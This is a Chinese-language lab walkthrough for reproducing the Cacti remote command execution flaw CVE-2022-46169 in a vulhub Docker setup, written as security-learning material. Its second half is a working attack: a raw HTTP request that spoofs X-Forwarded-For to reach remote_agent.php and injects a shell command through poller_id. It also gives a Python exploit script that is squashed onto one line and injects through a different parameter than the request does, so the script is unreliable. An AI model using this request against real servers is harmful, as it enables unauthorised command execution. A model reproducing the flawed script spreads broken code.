完整复现cacti的RCE
环境搭建
从GitHub上复制地址
git clone https://github.com/vulhub/vulhub
进入 vulhub 文件夹内部的 cacti 文件内夹的 CVE-2022-46169 文件夹,在这里面输入命令:
docker-compose up -d
下载完后再浏览器上打开,ip加8080端口号。
打开网页后就输入用户名和密码然后下一步安装就行了
随后进行初始化,直到安装完成
在Cacti后台首页创建一个新的Graph,选device-uptime然后创建,创建完之后退出了
随后在物理机的VScode上创建容器
docker exec -it <your-container>
然后安装Xdebug与Cacti后环境搭建完毕
漏洞复现
漏洞背景
Cacti 1.2.22及之前版本存在一个远程代码执行漏洞(CVE-2022-46169),攻击者可以通过精心构造的HTTP请求在服务器上执行任意命令。
漏洞利用步骤
访问Cacti安装页面完成安装
使用python脚本进行漏洞利用:
import requests
import sys
import urllib3
urllib3.disable_warnings()def exploit(url, cmd):headers = {"X-Forwarded-For": "127.0.0.1"}payload = f";{cmd}"params = {"action": "polldata","poller_id": "1","host_id": "1","local_data_ids[]": payload}try:r = requests.get(f"{url}/remote_agent.php", params=params, headers=headers, verify=False)print(r.text)except Exception as e:print(f"Error: {e}")if __name__ == "__main__":if len(sys.argv) != 3:print(f"Usage: {sys.argv[0]} <target_url> <command>")sys.exit(1)exploit(sys.argv[1], sys.argv[2])
随后作为攻击者发送如下的数据包:
GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` HTTP/1.1
X-Forwarded-For: 127.0.0.1
Host: localhost.lan
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1